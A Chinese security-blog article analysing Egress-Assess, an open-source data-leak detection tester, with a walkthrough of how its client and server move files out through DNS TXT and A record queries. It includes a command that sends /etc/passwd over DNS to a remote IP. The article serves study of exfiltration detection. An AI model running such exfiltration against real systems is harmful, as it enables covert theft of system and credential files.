开源工具Egress-Assess:利用DNS完成数据窃取、以及优势和缺点的简要分析
摘要:Egress-Assess是一个开放源代码项目,用于测试数据泄漏检测功能。 该项目建立了一个基本框架,并使用多种协议实施了数据窃取。包括:dns,ftp,http,https,icmp,sftp,smb,smtp。
Egress-Assess介绍
Egress-Assess是一个开放源代码项目,用于测试数据泄漏检测功能。 该项目建立了一个基本框架,并使用多种协议实施了数据窃取。该项目的源代码结构如图所示,可以看出,Egress-Assess项目实现的可用协议主要包括:dns,ftp,http,https,icmp,sftp,smb,smtp, 等。我们专注于使用DNS来完成数据盗窃的部分。
Egress-Assess采用C / S模式。 正在运行的工具需要先设置服务器,然后运行客户端,并配置用于数据盗窃的参数。 Egress-Assess使用技巧如图所示,以DNS进行数据盗窃为例:
使用以下命令启动DNS服务器:pythonEgress-Assess.py –server dns
启动客户端以使用DNS发送被盗数据:python Egress-Assess.py–client dns –ip 1.1.1.1 –file /etc/passwd
简要分析基于DNS的数据盗窃的源代码
当Egress-Assess使用DNS来完成数据盗窃时,服务器源代码文件是protocol / servers / dns_server.py,它可以同时处理来自客户端的TXT和A记录请求。 协议/客户端/dns_client.py,协议/客户端/dns_resolved.py中的客户端分别使用DNS TXT记录和A记录来发送被盗数据。
(一)服务器源代码分析
服务器使用DNSlib库。 服务器的改进版本可以在端口53上侦听来自客户端的DNSTXT和A记录查询,并从客户端获取被盗的数据包。 然后提取并还原文件数据,并在传输到本地后还原被盗文件。 服务器收到成功页面,如图所示。
组合服务器源文件协议/servers/dns_server.py,源代码概述如图所示。
总结Egress-Assess服务器工作的主要过程:
1)使用SocketServer库的ThreadUDPServer()方法建立一个多线程套接字,侦听端口53。实现部分是服务器类中的startDnsServer方法。
2)预处理接收到的UDP数据包并提取请求的数据。 它主要在SocketServer.BaseRequestHandler中实现get_data()和send_data方法。
3)准备文件数据接收。 这包括初始化一些全局数量,并从UDP数据包中提取DNS部分。 提取DNS部分的方法是handleDNSRequest()。
4)根据不同记录类型(A记录,TXT记录)的DNS查询,调用不同的函数handleDNSTXT(),handleDNSResolved()来存储和恢复文件数据。
[HandleDNSTXT()函数处理一般流程]:
1)在DNS中提取并解码qname。
2)如果提取的qname包含终止符“ ENDTHISFILETRANSMISSIONEGRESSASSESS”,则图所示为qname组成示例; 然后从qname中提取file_name并调用writeFile函数将全局文件FILE_DICT存储的文件数据块依次写入本地文件。
3)如果定界符“.:|:.” 如果qname中未包含,则解码后的数据将写入由当前系统日期和时间组成的txt文件。
4)如果定界符“.:|:.” 包含在qname中,在分割后提取序列号和文件数据,并将其存储在全局字典变量FILE_DICT中。
[HandleDNSResolved()函数处理流程]
1)将收到的qname中的字符“ .—”替换为“ =”。 进行此操作的原因是为了避免base64编码=和子域=之间的混淆。
2)按“.”号切分qname,并根据不同情况分别处理。
3)如果分段列表的parts[0]是结束字符“ ENDTHISFILETRANSMISSIONEGRESSASSESS”,则从parts[1]中提取文件名,并调用writeFile方法以按顺序号将全局FILE_DICT中的文件数据块恢复到本地文件。
4)对parts[0]执行base64解码。 如果分隔符为“.:|:.”包括在内,根据分隔符再次划分,提取序列号和文件数据块,并将其存储在全局FILE_DICT中。
(二)客户源代码简要分析
客户端启动DNS TXT记录和A记录的使用,以通过不同的参数“ dns”和“ dns_resolved”窃取数据。 对应于文件protocols/clients/dns_client.py和protocols/client/dns_resolved.py。 通过源代码分析,发现两个源代码思想相似,差异主要体现在数据嵌入和A记录的使用上。 以下整理部分将以DNS TXT记录为例进行简要分析。
如图所示,整理出dns_client.py的源代码概述,并组织客户端发送被盗数据的主要过程:
1)准备初始化。 它主要包括命令行参数读取,限制值初始化和文件提取。
2)通过-ip指定的参数(如果是域名),请首先通过DNS查询解析该域名,以获取服务器IP地址。
3)通过限制值和文件数据信息计算文件块总数(要发送的DNS请求数据包)。
4)按3)计算值,对每个文件数据块进行编码,将其嵌入DNS TXT查询数据包中,然后将请求数据包发送到服务器。 图中显示了文件块数据包的结构。
5)发送结束包以标记文件块传输的结束; 服务器通过识别数据包中的终止符来开始文件数据恢复。 其中,结束包的组成结构如图
Egress-Assess优势分析:
1)使用SocketServer库的多线程可以并行处理接收到的数据包。
2)直接传输文件数据,而无需第一个初始化数据包。
Egress-Assess的缺点:
未添加文件数据验证。 在网络环境较差的情况下,被盗文件可能不完整且不知。
相关热词搜索:开源工具 Egress-Assess DNS数据窃取 Egress-Assess优势 Egress-Assess缺点
上一篇:s3tk:用于Amazon S3的安全审核套件
下一篇:BetterBackdoor:多功能的后门工具,可以远程访问目标设备,引入按键注入,截屏,传输文件和其他渗透任务
人机验证(Captcha)绕过方法:使用Chrome开发者工具在目标网站登录页面上执行简单的元素编辑,以实现Captcha绕过
牛创网络: " 人机身份验证(Captcha)通常显示在网站的注册,登录名和密码重置页面上。 以下是目标网站在登录页面中排列的验证码机制。 从上图可以
2020-01-26 12:44:09 )8872( 亮了
自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
牛创网络: "自动发现IDOR(越权)漏洞的方法:使用BurpSuite中的Autozie和Autorepeater插件来检测和识别IDOR漏洞,而无需手动更改每个请求的参数
2020-01-30 14:04:47 )6288( 亮了
Grafana CVE-2020-13379漏洞分析:重定向和URL参数注入漏洞的综合利用可以在任何Grafana产品实例中实现未经授权的服务器端请求伪造攻击SSRF
牛创网络: "在Grafana产品实例中,综合利用重定向和URL参数注入漏洞可以实现未经授权的服务器端请求伪造攻击(SSRF)。该漏洞影响Grafana 3 0 1至7 0 1版本。
2020-08-12 14:26:44 )4301( 亮了
Nginx反向代理配置及反向代理泛目录,目录,全站方法
牛创网络: "使用nginx代理dan(sui)是http响应消息写入服务地址或Web绝对路径的情况。 写一个死的服务地址是很少见的,但它偶尔也会发生。 最棘手的是写入web绝对路径,特别是如果绝对路径没有公共前缀
2019-06-17 10:08:58 )3858( 亮了
fortify sca自定义代码安全扫描工具扫描规则(源代码编写、规则定义和扫描结果展示)
牛创网络: "一般安全问题(例如代码注入漏洞),当前fortify sca规则具有很多误报,可通过规则优化来减少误报。自带的扫描规则不能检测到这些问题。 需要自定义扫描规则,合规性角度展示安全风险。
2020-02-12 10:49:07 )3505( 亮了
整理几款2020年流行的漏洞扫描工具
牛创网络: "漏洞扫描器就是确保可以及时准确地检测信息平台基础架构的安全性,确保业务的平稳发展,业务的高效快速发展以及公司,企业和国家 地区的所有信息资产的维护安全。
2020-08-05 14:36:26 )2536( 亮了
微擎安装使用技巧-微擎安装的时候页面显示空白是怎么回事?
牛创网络: "我们在公众号开发中,有时候会用到微擎,那我们来看一下微擎安装的时候页面显示空白是怎么回事吧
2019-06-08 15:34:16 )2261( 亮了
渗透测试:利用前端断点拦截和JS脚本替换对前端加密数据的修改
牛创网络: " 本文介绍的两种方法,虽然断点调试比JS脚本代码替换更容易,但是JS脚本代码替换方法可以实现更强大的功能,测试人员可以根据实际需要选择适当的测试方法
2020-01-07 09:34:42 )1995( 亮了
从工业界到学界盘点SAS与R优缺点比较
牛创网络: "虽然它在业界仍然由SAS主导,但R在学术界广泛使用,因为它的免费开源属性允许用户编写和共享他们自己的应用程序 然而,由于缺乏SAS经验,许多获得数据分析学位的学生很难找到工作。
2019-07-13 22:25:29 )1842( 亮了
41款APP侵犯用户隐私权:QQ,小米,搜狐,新浪,人人均被通报
牛创网络: "随着互联网的不断发展,我们进入了一个时代,每个人都离不开手机。 但是,APP越来越侵犯了用户隐私权。12月19日,工业和信息化部发布了《关于侵犯用户权益的APP(第一批)》的通知。
2019-12-20 11:28:14 )1775( 亮了